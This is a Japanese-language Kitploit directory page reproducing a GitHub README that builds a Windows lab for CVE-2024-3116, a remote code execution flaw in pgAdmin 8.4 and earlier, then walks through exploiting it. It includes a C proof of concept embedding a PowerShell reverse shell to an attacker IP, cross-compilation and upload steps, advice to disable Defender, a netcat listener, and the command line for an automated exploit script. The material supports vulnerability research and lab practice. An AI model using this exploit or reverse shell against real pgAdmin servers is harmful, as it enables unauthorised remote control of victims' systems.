Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-3116_RCE_in_pgadmin_8.4 — ラボを構築し、pgadmin <=8.4 におけるリモートコード実行(RCE)である CVE-2024-3116 をテストする | Kitploit
ツール/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発ラボと実践
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

ラボを構築し、pgadmin <=8.4 におけるリモートコード実行(RCE)である CVE-2024-3116 をテストする

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1322年前未レビュー

CVE-2024-3116_RCE_in_pgadmin_8.4

ラボを構築し、pgadmin <=8.4 におけるリモートコード実行(RCE)である CVE-2024-3116 をテストします。

ベースラインとしてこの記事を使用しました。

ラボの構築

まず最初に、このラボについて少しコメントします。pgadmin のドキュメントはかなり貧弱で、Windows に pgadmin をインストールしたという記録はどこにも見つかりませんでした...

  1. 著者は、この脆弱性は Windows でのみ存在すると述べているので、Microsoft が提供する Windows 11 VM を使用します(こちら)
  2. VM をインストールした後、python 3.10.0 をインストールします(3.11 と 3.12 でもテストしましたが、依存関係の問題が発生したので 3.10 にします)
  3. postgresql 16.2 をインストールします(pgadmin なしで、postgresql のパスワードとして password を設定しました。今回のケースではあまり重要ではありません)
  4. pgadmin は python の仮想環境(virtualenv)にインストールすることが推奨されていますが、試しましたがうまくいかなかったので、VENV はクソ食らえです!
  5. pip を更新: python -m pip install -U pip
  6. wheel をインストール: python -m pip install wheel
  7. ソースをダウンロード: https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > .whl ファイルをダウンロード
  8. pgadmin4 をインストール: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • インストールフォルダ: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. 設定しましょう:
    • ファイル: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py に、次の行を追加します:
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True 
    
    • 存在しないフォルダを作成します(pgadmin4\log、pgadmin4\sessions、pgadmin4\storage)
    • フォルダを作成します: C:\Users\User\AppData\Roaming\pgAdmin(setup.py に必要)
    • pgadmin4 のインストールフォルダ(8 を参照)で次を実行: python site-packages/pgadmin4/setup.py setup-db。Email = [email protected] と Password = password を設定しました(このメールアドレスとパスワードは pgadmin に接続するために必要なので重要です)

次に Web サーバー:

  1. XAMPP をインストール(すべてチェックを外して OK、apache だけ必要)
  2. 環境変数を追加: MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. mod-wsgi をインストール: pip install mod-wsgi
  4. 設定を取得: mod_wsgi-express module-config
  5. 前のコマンドの結果を apache の httpd.conf ファイルの末尾にコピー
  6. 最後に、(pgadmin のインストールフォルダから)サーバーを起動: mod_wsgi-express start-server .\pgAdmin4.wsgi(ポート 8000 でアクセス可能になるはずです)

エクスプロイトしてみましょう

pgadmin と同じネットワーク上にある Kali マシンから脆弱性をエクスプロイトします。

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

繰り返します: このエクスプロイトは Windows 版の pgadmin に対してのみ機能します!また、この脆弱性を悪用するには有効なユーザーが必要です!

  1. リバースシェルが欲しいので、このファイルの冒頭でリンクしたブログ記事の PoC を使用し、テスト用に Kali の IP を入れました:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. PoC は Windows 用の C プログラムなので、クロスコンパイラを使用しましょう:
    • クロスコンパイラのインストール: sudo apt-get install mingw-w64
    • 前述の PoC を含むファイルを作成し、次でコンパイル: x86_64-w64-mingw32-gcc -o pg_restore poc.c windows compilation from linux
  2. バイナリ名は、実行されるために pg_(または psql)で始まる必要があり、既知の postgresql ツールでなければなりません
  3. Burp を起動し、アップロードリクエストを確認できるようにブラウザを Burp 経由に設定します
  4. インターフェイスを介してこのファイルをアップロードしましょう([email protected] でログイン後): Tools > Import/Export Servers > ‘小さなフォルダアイコンをクリック’ > ‘ファイル選択ウィンドウの右上にある三つのドットをクリックして upload を選択’ > ‘バイナリ PoC を選択’ request of file upload
  5. 確認するには Windows に移動し、作成したストレージフォルダ(C:\Users\User\pgadmin4\storage)内にファイルがあることを確認します
  6. また、非常に重要: アップロードリクエストのレスポンスには、アップロードした exe へのパスが含まれています。これは後で重要になります
  7. レスポンスを受け取るために netcat(nc -lvnp 9001)を起動します: 重要!!!!!!!! Defender がバイナリの実行を妨害するため(Defender を無効にしてください)
  8. 次にインターフェイスに移動し、File > Preferences > Binary Paths をクリックし、postgresql 16 の前にある Enter binary path... と書かれたテキストボックスに、アップロードファイルのレスポンスで取得したパスを追加します。最後にテキストボックス内のアイコンをクリックして PoC をトリガーします request triggering the poc

エクスプロイト

この脆弱性を自動的に悪用する Python スクリプトを作成しました。やることはほとんどありません。

このスクリプトを使用する前に知っておくべきこと:

  • アップロードしたファイルのレスポンスをインターセプトして、そのファイルのパスをスクリプトに渡すためのプロキシが必要です。個人的には Burp を使用しています。
  • スクリプト全体が selenium を使用するため、それが必要です(pip install selenium)
  • スクリプトは送信するバイナリをコンパイルするためのコマンドを実行するため、クロスコンパイラのインストールが必要です: sudo apt-get install mingw-w64
  • 接続を受け取るポートを指定して、別のターミナルで netcat を起動する必要があります(nc -lvnp <port>)
  • このスクリプトはリバースシェルを提供します

このエクスプロイトを使用するには、次のコマンドを使用します: python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>

デモ

小さなデモ: https://youtu.be/zdMC3kbN0Is

参考資料

以下のリンクはすべて、Windows に pgadmin をインストールする際に役立ちました:

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
ツールをダウンロード
  • 楽しんでください! reverse shell gained